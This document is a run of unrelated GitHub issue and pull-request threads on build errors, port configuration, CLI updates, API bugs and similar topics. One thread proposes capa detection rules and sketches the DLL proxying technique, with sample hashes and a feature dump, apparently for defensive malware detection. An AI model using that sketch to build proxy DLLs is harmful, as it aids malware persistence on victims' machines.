Would you mind if I publish it to npm and apply the rules to my company projects?
Thanks again

I am glad my work helps people! Surly you can publish it to npm.


"Cannot read property '1' of null" when running ng update using cli 1.7.3

Versions
Angular CLI: 1.7.3
Node: 8.9.4
OS: darwin x64
Angular: 6.0.0-rc.1
... animations, common, compiler, compiler-cli, core, forms
... http, language-service, platform-browser
... platform-browser-dynamic, router

Repro steps

ng update

Observed behavior
$ ng update
Error: Cannot read property '1' of null
Cannot read property '1' of null
error Command failed with exit code 1.

Desired behavior
It seems that the currently expected user flow is for users to

manually update the package.json for @angular/cli to ^6.0.0-rc.0
run yarn/npm update
and then run ng update @angular/cli --migrate-only --from=1.7.3

If nothing else, we should at least point people to an upgrade document describing the expected steps and commands to run. Cannot read property '1' of null is not a good user experience.
Mention any other details that might be useful (optional)

So pre-6.0 final we should properly show an error message. As soon as 6.0 lands we should take some time to fix 1.7 to support the update schematic fully (as a non breaking change).

I tried several combinations of ng update using global, local, CLI 1.7.3, 1.7.4, Angular 5, Angular 6 and could not see this message. I always had CLI 6.0.0-rc.2 installed globally while testing.
I think this was something with our schematics commands that we inadvertently fixed in rc.2.
If this problem comes up again I will reopen.

Angular CLI: 1.7.4
Node: 8.11.1
OS: darwin x64
Angular: 5.2.10
... animations, common, compiler, compiler-cli, core, forms
... http, language-service, platform-browser
... platform-browser-dynamic, router
ng update --next
Your global Angular CLI version (6.0.0-rc.3) is greater than your local
version (1.7.4). The local Angular CLI version is used.

To disable this warning use "ng set --global warnings.versionMismatch=false".
Error: Cannot read property '1' of null
Cannot read property '1' of null

I tried the update command today, I am getting the same message.
Tried the "Desired behavior" flow, but getting the same there after the steps
ng update @angular/cli --migrate-only --from=1.7.4 --next
Your global Angular CLI version (6.0.0-rc.3) is greater than your local
version (1.7.4). The local Angular CLI version is used.

To disable this warning use "ng set --global warnings.versionMismatch=false".
The option '--migrate-only' is not registered with the update command. Run `ng update --help` for a list of supported options.
The option '--from' is not registered with the update command. Run `ng update --help` for a list of supported options.
Error: Cannot read property '1' of null
Cannot read property '1' of null

Having the same problem as @eXXeption
ng update --next
Your global Angular CLI version (6.0.0-rc.5) is greater than your local
version (1.7.3). The local Angular CLI version is used.

To disable this warning use "ng set --global warnings.versionMismatch=false".
Error: Cannot read property '1' of null
Cannot read property '1' of null

This problem appeared for me in stable version too.
`ng update --next
Your global Angular CLI version (6.0.0) is greater than your local
version (1.7.4). The local Angular CLI version is used.
To disable this warning use "ng config -g cli.warnings.versionMismatch false".
Error: Cannot read property '1' of null
Cannot read property '1' of null

I'm seeing the same thing on my end as well.
Angular CLI: 1.7.4
Node: 8.11.1
OS: win32 x64
Angular: 5.2.2
... animations, common, compiler, compiler-cli, core, forms
... http, language-service, platform-browser
... platform-browser-dynamic, router

ng update @angular/cli
Error: Cannot read property '1' of null
Cannot read property '1' of null

I also encountered this issue. The steps listed in the "Desired Behavior" section of Igor's original post worked. Here they are for those looking for a solution in the comments:

manually update the package.json for @angular/cli to ^6.0.0-rc.0
run yarn/npm update
and then run ng update @angular/cli --migrate-only --from=1.7.3

It happened for me because I had package-lock.json still in the app.
remove the package-lock.json then
ng update @angular/cli


ASAP-Alchemy optimize prioritization

solves https://github.com/asapdiscovery/asapdiscovery/issues/973
Instead of specifying during submit, there's now a separate CLI endpoint for adjusting network weights. users will be able to adjust network weights manually with minimal effort. We may need to revisit once we get many networks running at the same time up to the point where manual adjustment is impractical, but with alchemiscale's random actioning (influenced by weights) that may be complicated.
Developers certificate of origin

[x] I certify that this contribution is covered by the MIT license as defined in our LICENSE and adheres to the Developer Certificate of Origin.

Also need to fix failing tests.


mvsim: 0.9.1-1 in 'noetic/distribution.yaml' [bloom]

Increasing version of package(s) in repository mvsim to 0.9.1-1:

upstream repository: https://github.com/ual-arm-ros-pkg/mvsim.git
release repository: https://github.com/ual-arm-ros-pkg-release/mvsim-release.git
distro file: noetic/distribution.yaml
bloom version: 0.11.2
previous version for package: 0.8.3-1

mvsim
* Fix use of mrpt bridge to publish XYZIRT point clouds too for ROS 1
* Contributors: Jose Luis Blanco-Claraco

Superceded by https://github.com/ros/rosdistro/pull/40068


feature request - change running port

I would prefer to run sPDF on a different port than 8080. I have tried using command: java -Dlocal.server.port=32769 -jar /app.jar in the docker compose, which does change the 'navigate to' message in the logs, but Tomcat still runs on 8080. Does anyone know how to change the tomcat listening port in sPDF?

Is it not sufficient to simply change the host port in the compose file? For instance:
version: '3.3'
services:
  stirling-pdf:
    image: frooodle/s-pdf:latest
    ports:
      - '80:8080'
    volumes:
      - /location/of/trainingData:/usr/share/tesseract-ocr/4.00/tessdata #Required for extra OCR languages
      - /location/of/extraConfigs:/configs
#      - /location/of/customFiles:/customFiles/
    environment:
      - DOCKER_ENABLE_SECURITY=false

Hello, thanks for your reply. I run my containers attached to a wireguard tunnel to allow for access outside the network, using the compose command network_mode: 'container:wireguard'. In this setting, ports: does not work as the port is not being published on the host. Therefore, since I can't change the internal port, I am forced to run spdf on a separate wireguard instance to avoid port conflicts. I understand if this is not possible but I just wanted to see if there is an easy way to change the internal HTTP server port. Thanks!

Hi,
For my installation it would also be nice to have the option to change the port. I'm using macvlan which allows using http standard ports. Deviating ports are a bit tedious to use.

To change the port for the app itself you can add this in the config/settings.yml file
local:
server:
port: 443
server:
port: 443

Thank you! I can confirm that this works perfectly. Have a great day.

To change the port for the app itself you can add this in the config/settings.yml file
local:
  server:
    port: 443
server:
  port: 443

Hey FrooodleQ! Maybe you can help me to set custom maxHttpHeaderSize value?

hi,
I am facing an issue here - I am a noob at this - even after adding the following:
local:
server:
port: 443
server:
port: 443
the TOMCAT server is listening on port 8080 and I am unable to successfully deploy stirling-pdf... a noob friendly guide will be really helpful.
Thanks!

To change the port for the app itself you can add this in the config/settings.yml file
local:
  server:
    port: 443
server:
  port: 443

hi,
I am facing an issue here - I am a noob at this - even after adding the following to the settings.yml file under /configs
local:
server:
port: 443
server:
port: 443
the TOMCAT server is listening on port 8080 and I am unable to successfully deploy stirling-pdf... a noob friendly guide will be really helpful.
Thanks!

Add to custom_settings.yml as follows:
server:
  host: <IP_ADDRESS>
  port: 8088

For running as system, add to .env file as:
SERVER_HOST="<IP_ADDRESS>"
SERVER_PORT="3000"

Add to custom_settings.yml as follows:
server:
  host: <IP_ADDRESS>
  port: 8088

For running as system, add to .env file as:
SERVER_HOST="<IP_ADDRESS>"
SERVER_PORT="3000"

Thank you!


Fix ffmpeg 6 build

Closes #9

Jazzy isn't working because it's still just in ros2-testing apt repos, could fix but whatever will wait until it's actually released later this month to support it (just a release candidate right now)


Create WorksAboutEvent HalLink (from 107)

Problem Description

The frontend wishes to display Works about Concepts influenced by Events on Event pages

Expected Behavior

Create a HAL link which returns the following query:

{
    "aboutConcept": {
        "influencedByEvent": {
            "id": "${EVENT_ID}"
        }
    }
}

Dependency For
Add Works About tab and list to events (from 1303) #19

@kamerynB the HAL Link name for this is 'lux:eventWorksAbout'

deployed


Instalation Problem

Hey, when i try to run the command opam install iocaml i get this error
The following dependencies couldn't be met:
 - iocaml → iocamljs-kernel >= 0.4.6 → js_of_ocaml < 3.0 → ocaml < 4.05.0       base of this switch (use --unlock-base to force)
 - iocaml → ocaml < 4.02.0       base of this switch (use --unlock-base' to force)

This repository is for ocaml-jupyter, not iocaml. If you want to install ocaml-jupyter, try opam install jupyter. Otherwise, you open an issue at https://github.com/andrewray/iocaml, maintained by andrewray, not me.


Extract the sy_script.fpk file

I'm sorry to bother you again. I would like to ask you how to decompress the fpk file. About what you said: Extract the sy_script.fpk file
For this sentence, I have found relevant tools, but the sy_script.fpk file I obtained from app or patch seems to be encrypted, could you please teach me? Thank you very much.

Once you have copied the patch set to the patch folder in VitaShell there is an Open decrypted option. Using that will give you the decrypted view of the folder. All you have to do then is copy the decrypted fpk file somewhere else and upload it to your pc

Thank you very much. It is my first time to contact PSV, and I do not know much about the use of the software. Thank you for your guidance


Added readonly

When using the datepicker on mobile the keyboard will pop up when selecting a date, using readonly will prevent this from happening.

Thanks!


Notifications don't show up

This could be a node-modules error or a package is not found, need more information to track this issue.

Due to Ubuntu 16.04 and electron changes, these seem to be fixed in Electron 1.0.0 and with the additional Debian package requirements


minor css changes in navbar

Please Review

Hii, @mahekkg Can u please share an image like what u have done?

Hii, @mahekkg Can u please share an image like what u have done?

Have tried to fix basic alignment of navbar and changed the style of sign in button which works well with corresponding navbar design.
Thank you

Hey..I see your branch is not in sync with the main branch..I recommend to first sync it(git pull origin main) then submit a PR

Hey..I am unassigning you this..since it's long and already.. there are lot of navbar related issues!


[FLINK-31461] Supports schema historical version expiring

This PR aims to delete versions for schema which are no longer referenced by snapshots after expiring snapshots. The main changes are as follows

Added expireSchema in SchemaManager
Added expiring schema in FileStoreExpireImpl.expire

The main tests are as follows

Added test in SchemaManagerTest.testExpireSchema to expire schema by given schema id
Added test in CleanedFileStoreExpireTest.testExpireWithNumber to expire schema after snapshots are expired

Use new paimon package name


remove node 8 dpebot since that branch was merged into master in the functions-samples repo

cc @samtstern @tswast

@jhuleatt I think we will have to add files for master here to compensate for the removal

These two files already exist, and I think they are exactly the same (besides not specifying the Node 8 branch, which I assume makes them default to master):
https://github.com/GoogleCloudPlatform/repository-gardener/blob/master/.kokoro/firebase/functions-samples-html.cfg
https://github.com/GoogleCloudPlatform/repository-gardener/blob/master/.kokoro/firebase/functions-samples.cfg

@jhuleatt ah good catch


fix(slider-build): fix slider build - 498

Fixes #498

Codecov Report

Merging #586 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #586   +/-   ##
=======================================
  Coverage   94.84%   94.84%
=======================================
  Files          67       67
  Lines        1163     1163
=======================================
  Hits         1103     1103
  Misses         60       60

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cf16f85...9a53b4d. Read the comment docs.


[DOC] Improve the README for the Pygames Directory

Description:
Enhance the README.md for the /pygames directory. Add more information about:
How to install Pygame.
How to contribute new games.
Guidelines for folder structure when submitting games.

Expected Outcome:
A clearer and more informative README.md for contributors.

please assign me


[Question] What is the actual sense of using contractive_loss?

Hello! Thank you for the availability of the code. I am experimenting with your autoencoder on short russian texts (length up to 128 words, 50k stemmed words in vocabulary, 1.5M texts in the dataset). I can share further results with you if you are interested.
So my question is about using contractive_loss. I found it in the code, and it seems like it is really more preferable for me than crossentropy. But i cannot find any mentions about it in the paper. What can you say about it? Did you experiment with it? When it is really more suitable according to your experience? Thanks

Hi,
Thank you for your interest in our work! We did mention contractive autoencoders (CAE) in the paper and compared with them in experiments. CAE did not work well in our experiments. You can find the results in Sec 4.4 in the paper.

Yes, i saw that mention, now understood, thanks. I will dive deeper into CAE now, while reading, i suggested it is a very different network.


Fixed DropDown.SelectElementByText triggering change event.

I've added in the code mentioned in Issue #220 by @brunoshine to allow it to trigger the change event correctly.

Thanks


Use shared actions

Sharing Github Actions in a dedicated repo to avoid duplication with Laghos, Remhos and GLVis.
Related work:
https://github.com/mfem/mfem-actions
https://github.com/GLVis/glvis/pull/164
https://github.com/CEED/Remhos/pull/30
https://github.com/CEED/Laghos/pull/143

PR
Author
Editor
Reviewers
Assignment
Approval
Merge

#2146
@adrienbernede
@tzanio
@tzanio + @pazner
04/08/21
04/09/21
⌛due 04/16/21

Unless there is a fundament disagreement of the strategy (sharing actions in a separate repo), I think this is straightforward enough to be merged for 4.3.

This PR is now under review (see the table in the PR description). To help with the review process, please do not force push to the branch.

I have a slight preference for naming the new repo just actions, similar to the current web and downloads, but that's not critical to me.

Merged in next for testing...

I have a slight preference for naming the new repo just actions, similar to the current web and downloads, but that's not critical to me.

Or maybe github-actions just for clarity?

OK, I’ll do that now since it will impact all the related PRs.

Re-merged in next for testing ...

I just found out that one of the workflows (the main one: builds_and_tests) was failing because of a syntax error.
However, this kind of failure does not appear in the tests summary, and does not result in a global "failure" status.
I will report this to GitHub, while fixing the error in this branch.

Re-merged in next for testing ...


camera.drawToWorld() draws next frame

Any functions pushed to be drawn to the world lag behind a frame, due to the hierarchy in which they're pushed.
Fixing this requires a pre-world draw pass for gui elements, in order to know where the worldspace panels need to end up.

I'll try and finish this last one this weekend. I really should focus more time on the features page for /grid but it'll come when it does.

This is fixed upstream and just needs to be code dropped.

Fixed in v1.6.0


Extract export forward information

Summary
Feature that enables extraction of DLL export forwarding information (DLL Proxying)
Maybe it is possible to distinguish between if it is a relative path or absolute path in the export forward name when creating a CAPA rule.
Example rules:
export-forward-absolute-path.yml
export-forward-relative-path.yml
export-forward-system32.yml
Example of malicious use:
legit.exe -> that search for version.dll
version.dll -> Crafted version.dll with export forwards to original version.dll
vresion.dll -> Original version.dll
Example md5:
76fa734236daa023444dec26863401dc
Motivation
To be able to make CAPA rule that will detect if DLL is leveraging export forwarding aka DLL proxying.

i'd propose that we model forwarded exports as something like:
    export: DllName.ExportName
    characteristic(forwarded-export)

example:
python scripts/show-features.py --backend pefile tests/data/ea2876e9175410b6f6719f80ee44b9553960758c7d0f7bed73c0fe9a78d8e669.dll_
global: global: os(windows)
global: global: arch(amd64)
file: 0x18003BD32: export(vresion.GetFileVersionInfoA)
file: 0x18003BD32: characteristic(forwarded export)
file: 0x18003BD69: export(vresion.GetFileVersionInfoByHandle)
file: 0x18003BD69: characteristic(forwarded export)
file: 0x18003BDA2: export(vresion.GetFileVersionInfoExA)
file: 0x18003BDA2: characteristic(forwarded export)
file: 0x18003BDD6: export(vresion.GetFileVersionInfoExW)
file: 0x18003BDD6: characteristic(forwarded export)
file: 0x18003BE0C: export(vresion.GetFileVersionInfoSizeA)
file: 0x18003BE0C: characteristic(forwarded export)
file: 0x18003BE46: export(vresion.GetFileVersionInfoSizeExA)
file: 0x18003BE46: characteristic(forwarded export)
file: 0x18003BE82: export(vresion.GetFileVersionInfoSizeExW)
file: 0x18003BE82: characteristic(forwarded export)
file: 0x18003BEBC: export(vresion.GetFileVersionInfoSizeW)
file: 0x18003BEBC: characteristic(forwarded export)
file: 0x18003BEF0: export(vresion.GetFileVersionInfoW)
file: 0x18003BEF0: characteristic(forwarded export)
file: 0x18003BF19: export(vresion.VerFindFileA)
file: 0x18003BF19: characteristic(forwarded export)
file: 0x18003BF3B: export(vresion.VerFindFileW)
file: 0x18003BF3B: characteristic(forwarded export)
file: 0x18003BF60: export(vresion.VerInstallFileA)
file: 0x18003BF60: characteristic(forwarded export)
file: 0x18003BF88: export(vresion.VerInstallFileW)
file: 0x18003BF88: characteristic(forwarded export)
file: 0x18003BFB1: export(vresion.VerLanguageNameA)
file: 0x18003BFB1: characteristic(forwarded export)
file: 0x18003BFDB: export(vresion.VerLanguageNameW)
file: 0x18003BFDB: characteristic(forwarded export)
file: 0x18003C003: export(vresion.VerQueryValueA)
file: 0x18003C003: characteristic(forwarded export)
file: 0x18003C029: export(vresion.VerQueryValueW)
file: 0x18003C029: characteristic(forwarded export)
file: 0x18002A000: import(kernel32.CloseHandle)
file: 0x18002A000: import(CloseHandle)
file: 0x18002A008: import(kernel32.SetEndOfFile)
file: 0x18002A008: import(SetEndOfFile)

and for forwarded exports with a specific path, like in ce5a232cd28d21e2dfa9a7410d60384c906c6f666a7ce1318133c160ebf4c5b0:
global: global: os(windows)
global: global: arch(i386)
file: 0x1002BED2: export(c:/windows/system32/version.GetFileVersionInfoA)
file: 0x1002BED2: characteristic(forwarded export)
file: 0x1002BF1D: export(c:/windows/system32/version.GetFileVersionInfoByHandle)
file: 0x1002BF1D: characteristic(forwarded export)
file: 0x1002BF6A: export(c:/windows/system32/version.GetFileVersionInfoExA)
file: 0x1002BF6A: characteristic(forwarded export)
file: 0x1002BFB2: export(c:/windows/system32/version.GetFileVersionInfoExW)
file: 0x1002BFB2: characteristic(forwarded export)
file: 0x1002BFFC: export(c:/windows/system32/version.GetFileVersionInfoSizeA)
file: 0x1002BFFC: characteristic(forwarded export)
file: 0x1002C04A: export(c:/windows/system32/version.GetFileVersionInfoSizeExA)
file: 0x1002C04A: characteristic(forwarded export)
file: 0x1002C09A: export(c:/windows/system32/version.GetFileVersionInfoSizeExW)
file: 0x1002C09A: characteristic(forwarded export)
file: 0x1002C0E8: export(c:/windows/system32/version.GetFileVersionInfoSizeW)
file: 0x1002C0E8: characteristic(forwarded export)
file: 0x1002C130: export(c:/windows/system32/version.GetFileVersionInfoW)
file: 0x1002C130: characteristic(forwarded export)
file: 0x1002C16D: export(c:/windows/system32/version.VerFindFileA)
file: 0x1002C16D: characteristic(forwarded export)
file: 0x1002C1A3: export(c:/windows/system32/version.VerFindFileW)
file: 0x1002C1A3: characteristic(forwarded export)
file: 0x1002C1DC: export(c:/windows/system32/version.VerInstallFileA)
file: 0x1002C1DC: characteristic(forwarded export)
file: 0x1002C218: export(c:/windows/system32/version.VerInstallFileW)
file: 0x1002C218: characteristic(forwarded export)
file: 0x1002C255: export(c:/windows/system32/version.VerLanguageNameA)
file: 0x1002C255: characteristic(forwarded export)
file: 0x1002C293: export(c:/windows/system32/version.VerLanguageNameW)
file: 0x1002C293: characteristic(forwarded export)
file: 0x1002C2CF: export(c:/windows/system32/version.VerQueryValueA)
file: 0x1002C2CF: characteristic(forwarded export)
file: 0x1002C309: export(c:/windows/system32/version.VerQueryValueW)
file: 0x1002C309: characteristic(forwarded export)
file: 0x10023014: import(kernel32.SetFileAttributesW)
file: 0x10023014: import(SetFileAttributesW)
file: 0x10023014: import(kernel32.SetFileAttributes)


Generate API documentation via TypeDoc

Fixes #796

For more details, open the Copilot Workspace session.

Initial draft generated by Copilot workspaces. Will review and refine.


VM exits immediately after screening into it

I've been trying to set up Ubuntu VM on my M1 mac with vftool. However the VM seems to quit immediately after I screen into it:
vftool/build/vftool -k kernel -i initrd -d disk.img -m 4096 -a "console=hvc0"
Then, on another tab, I do screen /dev/ttys002. The screen gets terminated immediately:
❯ screen /dev/ttys002
[screen is terminating]

And the VM exits as well:
❯ ./vftool -k vm/vmlinuz -i vm/initrd -d vm/focal-server-cloudimg-arm64.img -m 6144 -a "console=hvc0"

2022-03-16 15:48:35.392 vftool[11218:150291] vftool (v0.3 10/12/2020) starting
2022-03-16 15:48:35.392 vftool[11218:150291] +++ kernel at vm/vmlinuz, initrd at vm/initrd, cmdline 'console=hvc0', 1 cpus, 6144MB memory
2022-03-16 15:48:35.393 vftool[11218:150291] +++ fd 3 connected to /dev/ttys002
2022-03-16 15:48:35.393 vftool[11218:150291] +++ Waiting for connection to:  /dev/ttys002
2022-03-16 15:48:44.302 vftool[11218:150291] +++ Attaching disc vm/focal-server-cloudimg-arm64.img
2022-03-16 15:48:44.303 vftool[11218:150291] +++ Configuration validated.
2022-03-16 15:48:44.303 vftool[11218:150291] +++ canStart = 1, vm state 0
2022-03-16 15:48:44.449 vftool[11218:150341] +++ VM started
2022-03-16 15:48:45.309 vftool[11218:150291] +++ Done, state = 3

Any ideas what causes this? I tried to follow this tutorial

I have the same problem on m1

I'm also experiencing this exact issue on M1

I’m dealing with the same problem, will appreciate your help here

I get the same problem on M1. can you please assist?


Close stale PR

According to Dev Summit 2019 2, there was a consensus to close stale PR
after 60 days.
This PR is configuring the stale bot, with additionally a 7 days grace
period.
If that works well, we can extend it to other repositories.
https://docs.google.com/document/d/1VVxx9DzpJPDgOZpZ5TtSHBRPuG5Fr3Vr6EFh8XuUpgs/edit
Signed-off-by: Julien Pivotto<EMAIL_ADDRESS>

Let's focus on the other repo first


Repeated variable names in assignments or function arguments should be disallowed

Consider this:
⬥ x x = foo bar
⬥ put $x
⮕ bar

or this:
⬥ fn foo [x x]{ put $x }
⬥ foo this that
⮕ that

You can do the same with option arguments as well. The following example seems particularly confusing:
⬥ fn foo [&x=one x]{ put $x }
⬥ foo two
⮕ one
⬥ foo &x=three two
⮕ three

This should be an error. It does not seem useful, and can lead to confusing errors.
Note however that repeated uses of the blackhole variable _ is useful and should remain legal:
⬥ fn butlast [@_ x _]{ put $x }
⬥ butlast 1 2 3 4 5
⮕ 4

I'm inclined to agree with all your points. The fn foo [&x=one x]{ put $x } example is particularly insidious because you might expect the option and parameter namespaces to be distinct; and perhaps they should be but that's a different issue.
Note: The blackhole var is valid as an option:
> [&_=v]{ echo $_ } &_=v2
v2


As an exchange student, I want to know if a module can be mapped back to my home country, so that I don’t waste my time taking other modules.

We will not be implementing this as we are not expanding this to SEP module mappings.


GetBalance does not  work

Dear Developer,
I tried to use private (trade) Kucoin API, and have trouble.
When I try to get Balances, I got exception in GetApiStream in OnGetBalances:
Cannot deserialize the current JSON object (e.g. {"name":"value"}) into type 'KuCoinApi.NetCore.Entities.Balance[]' because the type requires a JSON array (e.g. [1,2,3]) to deserialize correctly.
To fix this error either change the JSON to a JSON array (e.g. [1,2,3]) or change the deserialized type so that it is a normal .NET type (e.g. not a primitive type like integer, not a collection type like an array or List) that can be deserialized from a JSON object. JsonObjectAttribute can also be added to the type to force it to deserialize from a JSON object.
Path 'data.total', line 1, position 99.
Hope you can help. Thx.

I'll jump on it tonight and get it fixed. Thanks for reporting this issue!

Can you also test PostTrade?

Yessir

Both are fixed in latest NuGet release: https://www.nuget.org/packages/KuCoinApi.NetCore/1.5.3


errors when installing from source

some onnxruntime errors happend
[ 72%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone-offline.dir/microphone.cc.o
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-offline] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-offline.dir/all] Error 2
make[1]: *** Waiting for unfinished jobs....
[ 73%] Building CXX object sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone.dir/microphone.cc.o
[ 74%] Linking CXX executable ../../bin/sherpa-onnx-microphone-offline
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-microphone-offline] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone-offline.dir/all] Error 2
[ 75%] Linking CXX executable ../../bin/sherpa-onnx-microphone
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx-microphone] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx-microphone.dir/all] Error 2
[ 76%] Linking CXX executable ../../bin/sherpa-onnx
../../_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so: undefined reference to `Provider_GetHost'
collect2: error: ld returned 1 exit status
make[2]: *** [bin/sherpa-onnx] Error 1
make[1]: *** [sherpa-onnx/csrc/CMakeFiles/sherpa-onnx.dir/all] Error 2
make: *** [all] Error 2

(py38) kuangfangjun:lib$ pwd
/root/fangjun/open-source/sherpa-onnx/build/_deps/onnxruntime-src/lib
(py38) kuangfangjun:lib$ nm --dynamic ./libonnxruntime_providers_shared.so
0000000000001110 T Provider_GetHost
0000000000001120 T Provider_SetHost
0000000000000000 A VERS_1.0
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 w __cxa_finalize
                 w __gmon_start__

The missing symbol can be found in libonnxruntime_providers_shared.so.
Could you please post all the logs?
Also, please tell us how you build sherpa-onnx.

I followed
git clone https://github.com/k2-fsa/sherpa-onnx
cd sherpa-onnx
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON -DSHERPA_ONNX_ENABLE_GPU=ON ..
make -j6

the output of cmake is:
cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON -DSHERPA_ONNX_ENABLE_GPU=ON ..
-- The C compiler identification is GNU 8.3.1
-- The CXX compiler identification is GNU 8.3.1
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working C compiler: /opt/rh/devtoolset-8/root/bin/gcc - skipped
-- Detecting C compile features
-- Detecting C compile features - done
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Check for working CXX compiler: /opt/rh/devtoolset-8/root/bin/g++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done
CMake Warning at CMakeLists.txt:62 (message):
  Compiling for NVIDIA GPU is enabled.  Please make sure cudatoolkit

  is installed on your system.  Otherwise, you will get errors at runtime.

  Hint: You don't need sudo permission to install CUDA toolkit.  Please refer
  to

    https://k2-fsa.github.io/k2/installation/cuda-cudnn.html

  to install CUDA toolkit if you have not installed it.

-- CMAKE_BUILD_TYPE: Release
-- CMAKE_INSTALL_PREFIX: /usr/local
-- BUILD_SHARED_LIBS ON
-- SHERPA_ONNX_ENABLE_PYTHON OFF
-- SHERPA_ONNX_ENABLE_TESTS OFF
-- SHERPA_ONNX_ENABLE_CHECK OFF
-- SHERPA_ONNX_ENABLE_PORTAUDIO ON
-- SHERPA_ONNX_ENABLE_JNI OFF
-- SHERPA_ONNX_ENABLE_C_API ON
-- SHERPA_ONNX_ENABLE_WEBSOCKET ON
-- SHERPA_ONNX_ENABLE_GPU ON
-- Looking for C++ include alsa/asoundlib.h
-- Looking for C++ include alsa/asoundlib.h - not found
-- Looking for C++ include cxxabi.h
-- Looking for C++ include cxxabi.h - found
-- Looking for C++ include execinfo.h
-- Looking for C++ include execinfo.h - found
-- Found local downloaded kaldi-native-fbank: /home/sunty/workspace/k2_env/sherpa-onnx/kaldi-native-fbank-1.18.1.tar.gz
-- Downloading kaldi-native-fbank from /home/sunty/workspace/k2_env/sherpa-onnx/kaldi-native-fbank-1.18.1.tar.gz
-- kaldi-native-fbank is downloaded to /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/kaldi_native_fbank-src
-- kaldi-native-fbank's binary dir is /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/kaldi_native_fbank-build
-- CMAKE_BUILD_TYPE: Release
-- CMAKE_EXPORT_COMPILE_COMMANDS:
-- BUILD_SHARED_LIBS: ON
-- KALDI_NATIVE_FBANK_BUILD_TESTS: OFF
-- KALDI_NATIVE_FBANK_BUILD_PYTHON: OFF
-- KALDI_NATIVE_FBANK_ENABLE_CHECK: OFF
-- KALDI_NATIVE_FBANK_ENABLE_CHECK: OFF
-- CMAKE_CXX_FLAGS:
-- CMAKE_INSTALL_PREFIX: /usr/local
-- Looking for C++ include cxxabi.h
-- Looking for C++ include cxxabi.h - found
-- Looking for C++ include execinfo.h
-- Looking for C++ include execinfo.h - found
-- Disable building Python
-- CMAKE_SYSTEM_NAME: Linux
-- CMAKE_SYSTEM_PROCESSOR: x86_64
-- location_onnxruntime_header_dir: location_onnxruntime_header_dir-NOTFOUND
-- location_onnxruntime_lib: location_onnxruntime_lib-NOTFOUND
-- location_onnxruntime_cuda_lib: location_onnxruntime_cuda_lib-NOTFOUND
-- Could not find a pre-installed onnxruntime. Downloading pre-compiled onnxruntime
-- CMAKE_SYSTEM_NAME: Linux
-- CMAKE_SYSTEM_PROCESSOR: x86_64
-- CMAKE_SYSTEM_NAME: Linux
-- CMAKE_SYSTEM_PROCESSOR: x86_64
-- Found local downloaded onnxruntime: /home/sunty/workspace/k2_env/sherpa-onnx/onnxruntime-linux-x64-gpu-1.15.1.tgz
-- Downloading onnxruntime from /home/sunty/workspace/k2_env/sherpa-onnx/onnxruntime-linux-x64-gpu-1.15.1.tgz
-- onnxruntime is downloaded to /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src
-- location_onnxruntime: /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime.so
-- onnxruntime lib files: /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime.so;/home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime.so.1.15.1;/home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime_providers_cuda.so;/home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime_providers_shared.so;/home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/onnxruntime-src/lib/libonnxruntime_providers_tensorrt.so
-- Found local downloaded portaudio: /home/sunty/workspace/k2_env/sherpa-onnx/pa_stable_v190700_20210406.tgz
-- Downloading portaudio from /home/sunty/workspace/k2_env/sherpa-onnx/pa_stable_v190700_20210406.tgz
-- portaudio is downloaded to /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/portaudio-src
-- portaudio's binary dir is /home/sunty/workspace/k2_env/sherpa-onnx/build/_deps/portaudio-build
CMake Deprecation Warning at build/_deps/portaudio-src/CMakeLists.txt:7 (CMAKE_MINIMUM_REQUIRED):
  Compatibility with CMake < 2.8.12 will be removed from a future version of
  CMake.

  Update the VERSION argument <min> value or use a ...<max> suffix to tell
  CMake that the project does not need compatibility with older versions.

CMake Warning (dev) at /usr/local/cmake/share/cmake-3.25/Modules/FindPackageHandleStandardArgs.cmake:438 (message):
  The package name passed to `find_package_handle_standard_args` (jack) does
  not match the name of the calling package (Jack).  This can lead to
  problems in calling code that expects `find_package` result variables
  (e.g., `_FOUND`) to follow a certain pattern.
Call Stack (most recent call first):
  build/_deps/portaudio-src/cmake_support/FindJack.cmake:34 (find_package_handle_standard_args)
  build/_deps/portaudio-src/CMakeLists.txt:277 (FIND_PACKAGE)
This warning is for project developers.  Use -Wno-dev to suppress it.

 Please use a non-deprecated interface with equivalent functionality instead. For a listing of replacement headers and interfaces, consult the file backward_warning.h. To disable this warning use -Wno-deprecated. [-Wcpp]
 #warning \
  ^~~~~~~
